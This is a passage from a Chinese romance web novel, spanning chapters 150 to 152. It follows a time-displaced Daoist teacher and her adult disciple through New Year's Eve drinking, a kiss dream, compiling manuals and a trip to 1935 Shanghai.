她喜欢自己为她产生的一切变化,她的生命,她的所有都离不开傅清微。 这一生一世,她都要和师尊纠缠在一起,永不分离。 * 下午回蓬莱观的骡车上,傅清微看到捆好的两坛酒。 “你买酒了?” “对,给师尊赔罪,昨夜我太轻狂了。” 不说还好,一说傅清微就回想起她埋进自己脖子里闻的那一下,即便那时她要吻她,她恐怕也会宕机片刻才能回神拒绝。 夜冷身寒,再多的自我慰藉也不如熟悉入骨的拥抱和亲吻。 “小孩子不可以喝酒。”傅清微说顺了嘴。 穆若水冲她摇了摇一根食指。 “我已经二十岁了。” “……” 傅清微说:“你喝你的,我喝我的。” 她才不会和她一起喝酒,不是引火烧身吗? 穆若水不置一词。 到时候她抢师尊的酒杯喝,还由得她吗? 这坛酒,她非要和师尊喝不可。 交杯? 穆若水脑子里忽然冒出一个八竿子打不着的词,自动清空。 骡车载着二人悠悠地朝城外的蓬莱观驶去,路旁的村民见到骡车停下脚步,带着孩子一起虔诚地跪下祈祷,口称“玄女娘娘”。 数年前,傅清微买了些信号烟花放在山下的村寨,如果有土匪或妖魔侵袭,便由村民放烟花传讯,她会下山救她们。 果然发生过一次妖魔袭村的事件,傅清微远在村尾,相思剑便化作一道白虹飞掠而去,正正好插在妖魔头顶,傅清微随后赶到,一把抽出长剑,持剑引雷,电光闪耀。 妖魔在众目睽睽之下灰飞烟灭。 从此她就成了山下村民的守护神,都知道山上的蓬莱观里,玄女娘娘座下弟子在此清修。 蓬莱观的结界更助长了这样的传说。 要不是穆若水不喜外人打扰,村民逢年过节非得提着猪肉瓜果去上香不可。 傅清微目不斜视地路过拜她的村民,骡车吱嘎,村落渐渐远去。 * 又是一年除夕。 穆若水年岁渐长,傅清微在除夕这日愈发游手好闲,厨房是禁地不让进,采买她也是个吉祥物,饭桌的事她插不上手。 只有回屋做一做兔子灯啦。 幸好还有这点手艺能讨徒儿欢心。 吃过丰盛的年夜饭,傅清微抚了抚自己撑圆的肚子,在院子里遛弯,刚好锦城里的有钱人家放烟花,流火千重,华光万丈。 “小雪。” 穆若水应了一声,抱着猫出现在厨房门口。 “快来看烟花。”傅清微向她招手。 穆若水走到院子中间,和她并肩看绽放的流星。 傅清微的视线一直落在远处,似乎在看天空,又似乎望向遥不可及的彼岸。 穆若水凝视着师尊的侧脸,偶然的和她四目相对,傅清微似乎没料到会和她对视,急忙偏开了头。 可穆若水还是见到她眼底闪烁的泪光。 除夕辞旧年,迎新岁,她知道傅清微有个固定项目,她会在除夕夜,一年的尾声里喝酒。 烟花是大户人家的玩意儿,城里放完了,整座山都是寂静的。 傅清微在庭院中间摆上竹椅和凭几,温上一壶热酒。 并非借酒消愁,她只是想把时间留给那个见不到的人,在心里诉说她这一年所有的思念。 穆若水搬了把椅子坐在另一侧。 傅清微:“?” 穆若水:“二十岁。” 傅清微:“管你几岁,回房睡觉。” 穆若水:“师尊你好凶,今晚我要守岁。” 傅清微重复:“回自己房间。” 穆若水灰溜溜地回房了。 温着的酒冒出嘟嘟的热气,傅清微倒了一盏到杯里,靠在竹椅里闭上眼睛。 十六年了。 杨过等了小龙女十六年,她也在异世独自过了十六年。 从二十一岁到三十七岁,她们分开的时间马上要占据她人生的一半。 曾经以为等不下去的那么漫长而痛苦的岁月,一年一年地也过来了。 会有第二个十六年吗?若水? 我们还能重逢吗? 她刚在心底和师尊说了几句话,手伸向旁边端酒,却摸了个空。 穆若水跟个偷儿似的,蹑手蹑脚地在边上,两只手端着她的酒杯。 见她看过来,连忙一饮而尽,呛得咳嗽连连,眼睛鼻头都红了。 “师……咳咳咳……尊……” 傅清微:“……” 她怎么教出偷感这么重的徒儿? 穆若水凭借一通操作成功让自己留了下来,傅清微取了个新杯子,给她倒了酒,说:“不许贪杯。” 穆若水点头如捣蒜。 傅清微也没心思说悄悄话了,看着她小心翼翼地抿着杯沿,一杯下了肚。 “好喝吗?” “还行。”其实不好喝,又苦又辣,但穆若水已经长大了,正是好面子的年纪。 傅清微又给她倒了一杯。 现代的穆若水只喝水不喝酒,以她后来的体质酒精对她估计毫无效果。傅清微抱着灌醉她早些回房休息的心思,也想看看师尊年轻时酒量究竟怎么样,所以一杯一杯给她倒酒。 穆若水沉溺于和师尊推杯换盏的成人乐趣里,三杯两杯下了肚,双瞳开始失焦了。 傅清微:“……” 就这? 三杯倒的酒量? 穆若水脸颊如雪,看不出醉酒,然而拇指和食指圈着空气,对傅清微伸手说:“再来。” 傅清微挑眉,把酒倒在了地上,只有声儿。 穆若水端起空气一饮而尽。 “好酒啊!哈哈好酒!” “……” 傅清微将她手中的空气酒杯取下来,一条胳膊搭在自己肩膀,扶她回房。 穆若水只要在她怀里就乖得很,任由她扶着躺到了床上,大眼睛一眨不眨地望着她。 傅清微不敢和她对视,伸手蒙住她的双眼。 床头须臾传来均匀的呼吸声。 穆若水在她手下睡着了。 傅清微移开手掌,望向她浓密垂下的长睫毛,不可避免地将目光落到年轻女人饮酒后湿软的唇瓣,比平时更红润饱满。 唇缝微启,里侧更薄红软嫩。 她尝过无数次的唇,知道与之纠缠的滋味是何等销魂。 师尊…… 傅清微渐渐失神,修长的指尖缓缓靠近她的唇。 “小雪。” 穆若水睡梦之中被一道温柔的声音唤醒,她睁眼一看,竟是师尊坐在她的床前。 “师尊?”穆若水喜出望外,就要坐起来。 傅清微一根手指轻而易举地按住了她的肩膀,将她往后推,穆若水顺从地往后躺,直至触到床板。 “上回你是不是说想要我亲你?” “是。” “亲哪里?” 穆若水点了点自己的额头。 傅清微俯身下来,温软的唇印在她的眉心。 穆若水闭上眼,心仿佛被海浪卷过的沙滩,瞬间满足过后是更多的空虚。 “只是这样就够了吗?”女人说。 “不够。”她说,“我还想要师尊亲我。” “哪里?” 穆若水犹豫着,指腹点上自己的脸颊。 女人轻笑一声,上翘的唇角弧度一并印在了她柔滑的左脸。 “还有吗?”温柔的声音循循善诱。 穆若水躺在她身下,咽了咽口水。 女人的指尖点在她的唇珠中央:“这里不要吗?” 咽口水的声音陡然大了起来。 “我……” 她刚一张口,女人的指腹便微微探进来,蹂躏她的下唇,穆若水克制住伸出舌尖舔她的冲动,心口滚烫。 “要不要?” “要。”穆若水望着她琥珀色迷人的眼睛,喃喃出口。 傅清微指腹松开轻碾的下唇,温热唇瓣轻轻地封住了她的双唇。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 150-160 第151章 傅清微修长的指尖隔着不到一公分的距离, 悬在穆若水的红唇上方。 鼻翼下呼出醉酒后高热的气息,扑在傅清微敏感的指背。 傅清微饮过些薄酒,神智迷离的大脑自昏沉中抽离, 目光清明, 指节曲起, 远离了年轻女人的薄唇。 她曾问过杜昔言,一个人轮回转世, 即使是同样的灵魂, 家世、经历完全不同,没有她们在一起的记忆, 真的还算是同一个人吗? 杜昔言的答案她不置可否, 但她与师尊的答案是一致的。 不是。 心脏会跳动的是姬湛雪,不是穆若水。 即使她们容貌相同,性格相似, 姬湛雪只是她的前生, 她爱的是对方的来世,那个已经“死去”的穆若水。 那个和她同住在屋檐下,言辞犀利毒舌, 又会将她照顾得无微不至,与她在温泉结过契的道侣。 她消失以后,师尊一定也在苦苦等她。 她怎么能……一次一次地错认她? 一滴眼泪溅在床沿,傅清微轻轻地吸了吸鼻子, 给姬湛雪盖好被子,退出了房间。 院子里又多出一道孤单独酌的身影。 屋内穆若水侧了侧身子, 唇瓣阖动, 呢喃出一句:“师尊……” * 大年初一。 每年穆若水都会比师尊早起,第一个到她房间给她拜年, 也是长大以后少有的她闯进傅清微房间,能够名正言顺抱她却不会惹恼对方的时刻。 这天早上她却罕见的赖了床。 穆若水躺在床上,睁着眼睛看向帐顶,一动不动地发呆。 厨房里传来一声响动,穆若水一个鲤鱼打挺弹了起来,仅着寝衣冲进了厨房:“放着我来!” 傅清微坐在灶前添柴,解释说:“我只是烧锅热水。” 穆若水一见她,脸上忽然出现一种别扭的神情,踩在鞋子里的两只脚脚尖往里并,垂着眼睑不敢看她。 傅清微挑了挑眉。 她两辈子也没见过穆若水这副神态。 穆若水低头看见自己试图扭成麻花的脚,连忙恢复正常,说:“师尊去歇着吧,我来烧水。” 傅清微从善如流。 刚好她昨夜喝多了,现在头还有些隐隐作痛。 “烧好以后给我泡杯姜茶。” “师尊着凉了?” “无妨,只是有些身体不适。” 穆若水一身雪白中衣,便要来探傅清微的额头,傅清微怕自己反应大有异所以没躲,穆若水掌心轻轻地贴了一下,便自发主动地离开了。 “没有发热。”她舒了口气,道,“师尊去休息吧。” “嗯。” 傅清微迈出厨房,转过身子的时候回头看了一眼。 穆若水坐在灶下的长凳上出神。 “小雪,添件衣服。” “哦,好。” 嘴里应着,脚步却半点没动,也不知听进去没有。 年轻人火力旺,又在火旁烤着,冻不着,傅清微由她去了。 屋外廊下冷风呼啸,傅清微拢了拢自己的衣襟,她虽是修道之人,外表老得比常人缓慢,可也快四十岁了,平时要注意保暖,否则邪风入体,也是一场折腾。 师尊都没有见到她四十岁的样子呢,她只能对着镜子一个人慢慢变老。 傅清微的步履挪进了门槛,轻轻带上房门。 灶膛里的火光映红了穆若水的大半张脸,柴火毕波,她提线木偶似的迟钝往灶膛添了两根劈好的木柴。 抬起一只手的手背,缓慢碰上自己的唇。 她怎么会梦到师尊亲自己呢? 亲的还是那里。 一个再情根不全的人,也不会认为两个人亲嘴是正常的亲密范围。 昨夜师尊朝她吻上来的时候,她好像病得更厉害了。 全身的血液都在汹涌叫嚣,汇集着冲到心脏,转化成震耳欲聋的心跳声。 一触即离。 女人坐在床沿,半侧身子,腰身拉出一道婀娜的曲线,她的指腹取代了柔软的唇,挨在她的唇角摩挲。 “你就是想要我亲你这里,对不对?” 穆若水喉咙干渴,只会咽口水,一个字也说不出。 她的心里在疯狂回答:是!我还要! 女人慢慢地直起身,留下一个意味深长的笑容,转身向屋外走去。 “师尊,不要走!” 穆若水躺在床上起不来,只能眼睁睁看着她离开自己的视线,视野只余一道紧闭的房门。 穆若水右手的火钳继续添柴,继续发呆。 她低头亲了亲自己的手背,半点感觉也无。 “师尊,姜茶好了。” 穆若水轻叩两下门扉后,推门而入,顺手掩好房门。 傅清微正在被窝里补觉,听见她敲门便醒了,脸从里侧转过来,一只手肘撑起上半身。 穆若水在她床前半蹲下身,将姜茶端给她。 傅清微伸手来接,却见她那好徒儿目光往下移了移,不动声色掩好凌乱的衣襟。 穆若水眼前仍是一片雪腻晃动,胸口的红痣诱人采撷。 她扇动长睫,低眸隐去了所有不该有的心思。 她果然是病得厉害了。 傅清微捂着胸口喝完姜茶,将杯子交还给她。 穆若水端着空杯子出去,在门口吹了会冷风,用过早饭后,又雷打不动地去树林练剑。 一直折腾到中午,才将异样的情绪平复下去。 冬日天寒,虽然挣钱也要劳逸结合,除非要紧事,二人会一直在山上猫冬,直到开春再出门。 “编书?” 穆若水站在书房里,扭头便是那幅挂在左边书架的画,她瞧了一眼迅速撇开头,看向面前的女人:“师尊怎么突然想到编书?” 傅清微淡道:“闲来无事,想将毕生所学记录下来,以便后世传承。” 虽然穆若水觉得蓬莱就她俩,实在没什么好传承的,她本人也不想收徒,不想有第三个人插在她们之间,但师尊的想法她惯来支持。 只是…… 穆若水被迫坐在书房的椅子里,肩膀上搭着女人纤长的手。 “师尊编书就好了,为何要我来写?” “为师的字没你的好看。” “师尊诓我。”穆若水笑道。 傅清微刚穿来那段时间字确实丑,十几年过去了,她画书双修,比穆若水这个“不学无术”逮着机会就偷懒的徒儿好多了。 蝇头小楷也写得漂亮。 傅清微商量道:“这样,我来画图,你来配心法口诀,如何?” 穆若水眼前一亮。 那岂不是她俩合著一本,连在书里也不会分开,你中有我,我中有你。 穆若水毫不犹豫:“好!” 傅清微唇角轻轻地牵了一下。 真好哄啊徒儿。 穆若水搬来一张椅子,两人并肩坐在一处,傅清微铺开宣纸,提笔蘸墨,寥寥几笔就勾画出一个拿剑的小人,栩栩如生。 穆若水欣喜:“这是我。” 傅清微无奈:“是你。” 小人明明连五官都没有,非往自个脸上贴金。 可傅清微画时心里想的那道倩影,确确实实是穆若水。不是后世的师尊,是她身旁的小雪。 她与师尊相处短短一载,演练剑法的次数屈指可数,还有手机这种bug工具。她与姬湛雪相伴十六年,一招一式地教她,又亲自督促她学剑,小小的身影早就铭记在她心中,落笔如有神。 傅清微一连画了好几张依次晾干,穆若水端正坐姿,一张一张地在小人旁配字,对应的口诀。 蓬莱剑法两人齐心协力,花费一周的时间成书。 身法也是如此。 一人绘图,一人配字。 编到《阵法汇总》,换了形式,由傅清微口述,穆若水书面记录。 穆若水刚坐下就想跑:“师尊,我不喜欢听这个,我会睡着的。” 傅清微的手不轻不重按在她一边肩膀:“给我坐下。” “……” “你把这些写完,为师给你一个奖励。” “什么奖励?”穆若水仰头看她,不由想起除夕夜的那个梦,微抿薄唇。 “为师已经想到了,到时告诉你。” “好!” 为了奖励,拼了! 一刻钟后,刚奋笔疾书写满一页纸的穆若水哈欠连天,眼睛都快让泪水糊上了。 傅清微:“……” 她摇醒了穆若水,说:“今日到此为止,别把口水滴在我的书上。” 穆若水瞬间清醒:“好的师尊,我去练剑了。” 傅清微看着她飞奔出书房的背影,失语良久。 由于穆若水的工作效率奇低,这本《阵法汇总》足足编了两个多月,春色已经到来月余。 春意盎然,穆若水带着她的小三花妹妹满山转悠,拈花惹草。 傅清微在整理成册的过程中发现《阵法汇总》里有一处小小的错误,阵法一道,失之毫厘差之千里,肯定是她听的时候忍不住走了神,粗心大意。 傅清微用朱笔圈出来,正要在旁写上更正,怕泄露与她不一样的字迹,及时换成了左手。 一行歪歪扭扭的朱笔小字出现在了规整的笔迹旁边。 傅清微舒了口气。 再看一眼那页熟悉的字,却又怔住了神。 明明她口述时没有让穆若水出错,对方却仍是错了。 明明她用左手写下这行字时想的是不要暴露,却无意间对上了后世的细节。 难道她所经历的一切真的都已是历史,既定事实无法更改?她是缺失的那枚齿轮,一旦咬合,过去的车轮滚滚向未来,她阻止不了任何事。 傅清微按了按自己的眉心,顺其自然四个字抚平了她焦躁的心绪。 傅清微将几本书整理好,先搁在书案上,回头再装订起来。 叩叩叩—— 晚上傅清微刚洗漱好,脱了外袍打算进被窝,穆若水便来敲门了。 傅清微低头看了看自己轻薄的寝衣,依旧显身材,她抬手取过外袍,系好腰带,方打开了房门。 “师尊……”穆若水本来有事和她说,一见她穿着,脱口而出,“你晚上穿这么多?” 现下可是四月份了。 傅清微分出来一眼,自己也没意识到眉眼间流转的嗔怪,浑然天成。 或许在有情人眼里,每一眼都意蕴深长。 穆若水在烛火里晃了神。 傅清微轻咳了一声。 穆若水才意识到自己的手已经伸到师尊脸前了,她局促地蜷了蜷指节,收进宽袖里,好半天才从舌头里找回自己的声音,说:“哦,我是来……” “来什么?” 她一开口,穆若水又露出对着她发呆的神情,傅清微不由暗咬了下唇。 穆若水花了几秒钟回神,整理思绪道:“我是来问师尊,我的奖励呢?” 她目光直勾勾地看向女人。 傅清微转身走向屋内,实则拉远了她们之间的距离,她素手撑在桌旁,剪了灯芯。 “想不想出去玩?” “去哪儿?” “沪城。” “那么远!”穆若水惊讶地张大了嘴,把原来想的奖励暂时抛到了脑后:“就我们俩吗?” “就你和我。” 穆若水喜不自胜,很快笑容被忧愁掩盖:“咱们的钱够吗?” 傅清微:“……偶尔,你可以相信为师的口袋。” “那好吧。” 穆若水走过来飞快地抱了一下她,还是要了自己的那份奖励,说:“我们什么时候出发?” 傅清微算了算时间,说:“下个月吧。” “玩多久?” “一个月?” “师尊,你发财了?” “问天机阁支取一些,不成问题。” “我就知道。”穆若水一副预料之中的样子。 徒儿不肖,半点不尊师重道!傅清微伸手便要揉她的头,穆若水已主动将脸送了过来。 细腻无暇的一张玉容,眉眼精致如昔。 傅清微收拢掌心,才没有让她直接贴上自己的手指。 傅清微不动声色退后半步,说:“回吧,你该就寝了。” “可是师尊,我还没有和你多说会儿话。”穆若水连手都没蹭到,可怜巴巴。 “为师乏了。” “……那徒儿先告退了。” “嗯。” 穆若水一步三回头地走了,直到带上房门,傅清微从门缝里看到的还是她可怜的脸。 寻常人家师徒孺慕,断不会避嫌到如此地步。 傅清微确实有愧于她,然而她不得不这样做。 唯有这样不留余地,才能将情爱的火苗扼杀在摇篮里。 出门前的一个月,穆若水都在整理行囊,她们俩以前都是挣钱顺路玩一玩,也从未去过那么远的地方。 沪城,听说是全国最发达的摩登城市。 最重要的是,只有她们两个人!这和……有什么区别! 省略号里的内容穆若水想不到,但不影响她的兴奋和期待。 傅清微进了趟城,刷脸从天机阁支取了一笔钱,买了个时兴的皮箱装行李,都要去沪城了,总不好逃难一样背着包袱。 新道袍也买了几身质地好的,鸟枪换炮的二人拎着皮箱,踏上了去沪城旅游的路。 铁路没有直达,二人先乘车前往雾都,从雾都坐船到广汉,船上一周时间,傅清微有点晕船,每日食欲不振,穆若水恨不得和船上的厨子抢厨房。 船舱狭窄低矮,整日飘在江面摇晃,加剧了傅清微晕船的症状。 穆若水一面心疼师尊唾弃自己,一面忍不住在心里暗喜,船上这几日傅清微脸色煞白,身体柔弱,她将她揽在怀里靠着自己,温声细语,对方只阖着眼无力抵抗。 她睡着了,穆若水的手背一遍遍抚过她光滑的脸,想要做点什么,终究不得其法,咽下了僭越的冲动。 ……这么抱着她也很好。 她的唇瓣浅浅地吻过师尊的发顶。 抱了六七日,轮船终于靠岸,穆若水扶着傅清微下船,傅清微两条腿软成了面条,踩在地面跟仍在水上没什么两样。 穆若水及时兜住了她的细腰。 这几日她不知搂过圈过,又用手掌丈量过几回,爱不释手,轻车熟路。 “师尊。”她将女人整个搂进怀里,低声靠近她道。 傅清微闭了闭眼。 “去最近的客栈休息一日。”就这么上火车,她恐怕又要晕着到沪城,叫她占尽便宜。 “是,师尊。”穆若水说话时的唇更靠近她的耳廓,目光在小巧的耳垂停留片刻。 “走了。” 傅清微扶着她的胳膊,拉开了距离。 穆若水一手拎着皮箱,另一手稳稳地撑住了她向自己倚靠过来的身体重量。 还没有到沪城,她已觉这趟旅程收获之丰富,内心之充盈幸福,前所之最。 她喜欢师尊的这次奖励。 两人在旅店下榻,傅清微简单用了些吃食便躺下休息了,为了方便照顾她,穆若水只开了一间房,当然,是标间。 但久违的和师尊同住,即便分床,能闻见她身上的气息,穆若水心满意足。 傅清微中途醒了好几次,她不是坐在她床沿看她,就是坐在自己床上看她。 “你不睡觉的吗?” “现在还是白天。”穆若水理由充分。 傅清微缓缓闭眼。 谁让她现在身子骨柔弱,连斗嘴的力气都没有。 “现在是晚上了。”傅清微又一次睁眼道。 穆若水侧睡着,脸颊枕着自己胳膊,冲着她的方向,眼眸晶亮道:“师尊先睡吧,我很快就睡了。” “……” 经过了一天休整后,傅清微恢复了七八成,小跟屁虫失去了贴贴的机会,只能默默拎皮箱。 火车上傅清微斥巨资定了一个豪华包厢,有床有盥洗室。 其实还有次一等的包厢,和后世的卧铺车厢差不多,但傅清微想这也许是她们今生第一次也是最后一次旅行,她只需忍耐一晚同床共枕,穆若水可以有更好的体验。 没想到穆若水因为昨夜兴奋没睡,一沾枕头就睡着了。 白白浪费了千载难逢的机会。 倒替傅清微省了心。 傅清微望着她枕头里睡熟的脸孔一笑,进了盥洗室出来,躺上了大床空着的另一侧。 穆若水一觉睡到大天亮,枕边空空荡荡,师尊已经起了。 她悔得肠子都青了,拉开门找人,傅清微正在过道看风景,以前的火车走得慢,后世几个小时的高铁,要走上两天一夜。 脚下的铁轨发出哐当哐当的节奏声。 傅清微想起师尊第一次坐高铁时,一副新奇的样子,这里碰碰,那里摸摸。 对上她的视线后,脱口而出了一句:好快。 ——是啊,时速300多公里呢。 ——真好。 所以她眼前见到的这片风景,也是师尊曾经看过的风景吗? 后背贴上一阵柔软的暖意,穆若水的手从背后抱住了她的腰。 傅清微心弦蓦地一震。 穆若水将下巴垫在女人的肩窝,在火车的哐当声里,无声地和她看过相同的风景。 傅清微第一次生不出任何抵抗的心思。 她不是师尊,可是她又是她的过去。 这是属于她们俩的曾经。 同一片风景见证着火车窗前相拥的两个人。 ——原来她真的和师尊一起看过。 傅清微眼含热泪。 直到穆若水小心翼翼地将自己的脸贴上女人温凉的脸颊,傅清微抬手拿开了她环住自己腰肢的手,口吻平静道:“刚刚走了个神。” 穆若水识趣地收回了手,转移话题道:“师尊醒了怎么不叫我?” “看你睡得香。” 于是两人各自无话,穆若水仍陪着她将这一程风景都看遍了。 傅清微在看风景,看风景的人在看她。 当日下午五点,二人终于站上了沪城的土地,没见过世面的穆若水哇了一声。 见过世面的傅清微站在一百年前的沪城,也有种幻梦般的感受,比她在黑白画面里见过的还要繁华。 叮叮叮—— 有轨电车载着下班的市民驶过来,傅清微牵着穆若水的手让路,见她盯着电车入迷,傅清微扣紧了她的手腕道:“明天我们也坐。” 她悄声靠近穆若水的耳朵,“这次我带了很多钱,随便花。” 穆若水垂眼笑了笑。 “好,我都听师尊的。” 锃亮乌黑的小汽车鸣笛通过,自行车上的普通市民拨着铃铛,黄包车等在歌舞厅门口一侧,霓虹闪烁,与天边半染的霞光相映成辉。 昏黄的傍晚叫这纸醉金迷的都市一染,也透出点点金灿。 傅清微的视线移到低处,又都是奔波生活的疾苦百姓,逐渐推进的夜色愈发灰蒙。 “卖报卖报,《坤报》晚报——” 傅清微叫住穿得破破烂烂沿街叫卖的报童,问:“多少钱一份?” “两分钱。” “我要一份。” “谢您。” 报童抽出一份报纸给她,傅清微顺手往他手里放了钱离开,那报童却愣在当场,擦了擦自己的眼睛。 两人走出一段距离。 穆若水:“师尊,你又散财了。” 傅清微:“哎呀,没忍住嘛,反正是天机阁的钱。” 穆若水:“要还的。” 傅清微还没开口,穆若水的脑袋偏过来,笑意浅浅说:“我和你一起。” 傅清微垂在宽袖里的手掐住了自己的指节。 “好啊。”她轻快地迈开了步子,往前方的旅馆招牌快步走去。 当晚二人又住了一间房。 虽然手头宽裕,但沪城的高档旅馆太贵了,为了省下之后的旅游经费和天女散财,不必要的开支绝不多花。 于是住宿被砍了一半。 “两位……道长,单人间还是双人间?” “双人间。”傅清微道。 她假装没有看到穆若水低头暗喜的神情。 唉,早知道问天机阁多要点钱。 房间开好了,穆若水提着皮箱进门,打开行李箱整理二人的衣物。虽然平时分得很开,但一到出门,行李总是混在一起的。 傅清微看到自己的内衣露了一个角,立马道:“我自己来。” 穆若水便走到一边看着她的动作。 傅清微:“……” “你转过去。” “师尊,你我都是女子,你在害羞些什么?”穆若水背对着她说道。 傅清微边干边想:女人间能做的多的是,但凡你看我的眼神清白一点,我都不会这么防你。 傅清微把自己那部分收拾出来了,穆若水继续蹲下来整理她的。 她无所谓傅清微看不看,傅清微还真不小心看到一眼,幸好买不起进口Bra,否则尺寸她都一目了然。 虽说不看她也知道对方的尺寸。 还知道手感,味道,它受刺激后的反应。 傅清微别开了头。 1935年的沪城高档旅馆和后世的酒店已经很相似,有独卫、抽水马桶和淋浴间。 等等?淋浴间? 那岂不是…… 第152章 傅清微不记得多少年没用过这些了, 她打开水龙头,竟然提供热水。 不愧是沪城。 傅清微洗了好一会的热水手,目光定格在旁边的淋浴头和浴缸, 脑子里不知想了些什么。 穆若水不知何时来到了她的身边, 和她一起看着浴缸。 傅清微收回思绪后被身旁人吓了一大跳, 差点儿原地弹起来,穆若水掌心及时贴在她的后腰, 稳住了她的身形。 “师尊。” “手。”傅清微看着镜子, 克制道。 穆若水恋恋不舍地将手放下去。 傅清微离开了卫生间,满脑子都是以前她和师尊住过无数次酒店, 师尊在镜子前对她为所欲为的画面, 她为她情潮涌动的瞬间。 方才差点又弄混了。 淋浴间外面有道门,傅清微不担心穆若水有胆在自己洗澡时闯进去,她也不会对对方想入非非。可同住本就是暧昧之事, 她怕穆若水和她待久了心猿意马。 傅清微也是这个年纪过来的, 知道年轻人的思维有多活跃,身体也是。 二十一岁,她正与师尊夜夜笙歌。 而穆若水处于半开窍又懵懂不解的阶段。 荷尔蒙作祟, 本能地和她制造肢体接触,想逾矩亦不得章法,每天都有新的困惑。 傅清微去洗澡了,隔着一道门, 水声时而模糊时而清晰。 穆若水两手撑在身后,坐在床沿, 原先的思路早已打断, 耳朵里只捕捉得到淋浴的水声。 她情不自禁地坐正了身子,全神贯注地听着。 胸腔里那颗心脏开始不规律地跳动。 这时她应该想象些什么, 否则她无法填满大脑的空白,她想到了师尊胸口的那颗红痣,那一片晃动的雪腻柔软,接下来便顺理成章,氤氲的浴室里手臂破雾撩起,拂过她们都有的身体部位,自上而下,由颈到肩、胸、腰。 到那片芳草萋萋…… 潮热洇开,潮汐在自己的身体里席卷,穆若水拢了拢膝盖,不明所以地并紧,似乎这样会让她好受些。 有什么陌生地流出了体外。 穆若水好看的黛眉微微拧起。 傅清微没穿旅馆的浴袍,而是带了衣物进去,衣冠整齐地从浴室出来。 不料穆若水等在卫生间门口,脸颊泛着异样的潮红,雪白的耳尖淡粉,站姿亦有些怪异,着急对她道:“师尊,我好像来那个了。” 傅清微连忙让开。 她记得穆若水不是这几天啊。 穆若水拿着月事巾进去,坐在了新式抽水马桶上,打算给自己清理一下。 一见之下却怔住。 卫生间响起冲水声,穆若水走了出来,径自奔行李箱拿寝衣。 傅清微关切问:“提前了?” 穆若水背对着她,声音发闷:“没来。” “没来?”傅清微下意识反问了一句,那她急匆匆的做什么? 穆若水却不再回答,淋浴的水声盖过了傅清微随口的疑问。 穆若水换了干净的寝衣,随手将弄脏的小件洗了,洗之前她好奇地凑到鼻下闻了闻,没有味道。 为什么会这样? 师尊没有教过她。 晚上躺在两张单人床上,傅清微偏头用余光瞧另一张床的穆若水。 对方没有再盯着她,也不睡觉,而是望着天花板发呆。 “小雪?”傅清微终究没有忍住师尊的关怀,温柔道,“怎么不睡觉?可是不习惯沪城?” “不是。” 穆若水的脑袋转过来,欲言又止,说:“我……” “嗯?” 穆若水自小对她没有秘密,梦见师尊吻她是第一个,眼下这不明不白的身体反应使她忧虑重重。 “师尊方才洗澡时,我听着心跳变得很快,脸也发红……” 傅清微硬着头皮往下听。 “那处还流出了一些,我误以为是月事,颜色却是透明的。” “……”傅清微恨不得自己一分钟前没有长嘴。 “师尊,我可是患了什么病?”穆若水真心苦恼地问道。 “你、你只是长大了。”傅清微磕绊地回。 穆若水沉迷练剑,一心修行,虽看闲书,但都是演义、传奇类的本子,什么花前月下的话本甚少涉及。她天生情根生长缓慢,情窦初开比常人晚了五六年,更别提欲望了。 她唯一的老师傅清微不可能主动教她,虽说现在穆若水仍然从她身上学会了。 “长大?”穆若水低头看了看自己胸前,说,“可我一年前就这么大,最近好像没长。” “不是那个长大。” 傅清微将一只红透的耳朵压进枕头里,道:“是小雪成熟了,这是正常的……生理反应,并非疾病。” “因何而起?为何我想到师尊才有这般反应?” 要不是傅清微了解她,会以为她是故意的,但小穆远没有大穆师尊恶劣。 “许是偶然。”傅清微镇定回她,“你我日日在一起,无论你何时成熟,总是在我身边的。” “偶然吗?”穆若水自言自语。 可她满心满眼都是师尊,想不了其他人,她只会对她有此种反应吧。 傅清微担心的事还是发生了。 穆若水已经对她有欲望了。 她搪塞得了一时,穆若水早晚会想明白。 傅清微喜忧参半,喜的是她参与了穆若水每个阶段的人生,她的一切都与她有关,她因她初识情爱,由此她甚至窥见一日日长成女人的师尊。 她们好像完完整整地属于彼此,前世今生都没有第三个人。 悲的是她注定不可能回应她的感情。 “快睡觉吧,明天还要早起。”傅清微翻了个身,仰面朝上。 “师尊晚安。”年轻女人迅速盖好了被子,闭眼睡觉。 穆若水惦记着明日携手同游,暂时不去想身体的异常感觉,她和师尊还有一辈子的时间,她可以慢慢地想通。 年轻人入睡快,不多时傅清微就听见她均匀的呼吸声,明明幽微,存在感却十足,傅清微坐了起来,悄悄打开门出去了。 走廊吹了几刻冷风回来才顺利入睡。 翌日同游沪城。 傅清微后世来过,除了黄浦江蒙上一层旧滤镜外,其余对她都是陌生的,和穆若水这个第一次来的人没两样,同样大惊小怪。 旁边不时响起穆若水的哇声,傅清微觉得自己都变年轻了,好像回到和甘棠当大学生特种兵的时候。 搭了电车,穆若水喜欢所以搭了两趟。 沿江散步,以后的她也常干这种事。 报社、银行、照相馆……街景都是最新奇的,穿着旗袍和西洋裙的女郎优雅地走过。 穆若水停在一家照相馆的玻璃窗前,看着里面挂着的照片。 照相技术很早就有了,但论商业化非当时的沪城不可,看到好几家穆若水这才停下,动了拍照的念头。 “师尊。”她回头看着傅清微,目光里一丝期盼。 傅清微犹豫不决。 未来没有留下她们的合影,是否代表她们没有照过相,她应该拒绝她。 可如果一切已是历史,无论她选什么都成定局,她为什么不答应她小小的愿望? 傅清微想起蓬莱观那些她为姬湛雪画的画,后世她没有找到,难道代表她没画吗? 穆若水见她久久不应,懂事地收回了艳羡的眼神。 “我们去……” “我们去照相。”傅清微牵起她的手,走入了照相馆。 “两位……道长,侬好哇。”沪城人见多识广,区区道士不在话下。 “你好,我们想要照合影。”傅清微自觉担起了社交重任。 穆若水慢慢低头看向她们牵在一起的手,一动不敢动,生怕她察觉。 师尊好久没有主动牵她了。 “好的呀,二位道长要不要换身衣服?” “都有什么衣服?收不收费?” “包含在照相费里的,不另外收费的呀。” 这傅清微就得带穆若水转转了,男士长衫中山服西装,女士旗袍洋装布裙,穆若水指了一套玻璃橱窗里的雪白盛装,好奇问:“这是什么?” 头纱圣洁,层层叠叠的白纱组成繁复的长裙。 傅清微:“是西式婚纱,结婚穿的,和咱的喜服差不多。” 她生怕穆若水想穿这个,加钱好说,拍婚纱照不要啊。 好在穆若水只问了一句,没有心动,还评价道:“没有大红喜服好看。” “是。” 两人转了一圈衣服,穆若水有轻微洁癖不想穿别人穿过的,傅清微都顺她的意,最后二人穿着道袍拍照。 外表二十七八的女人眉目雅致,五官清丽的年轻女人站在她身边。 咔嚓—— 二人面对镜头,同时扬起笑容。 镁光灯接连闪了好几下,穆若水的唇角克制不住地越来越灿烂。 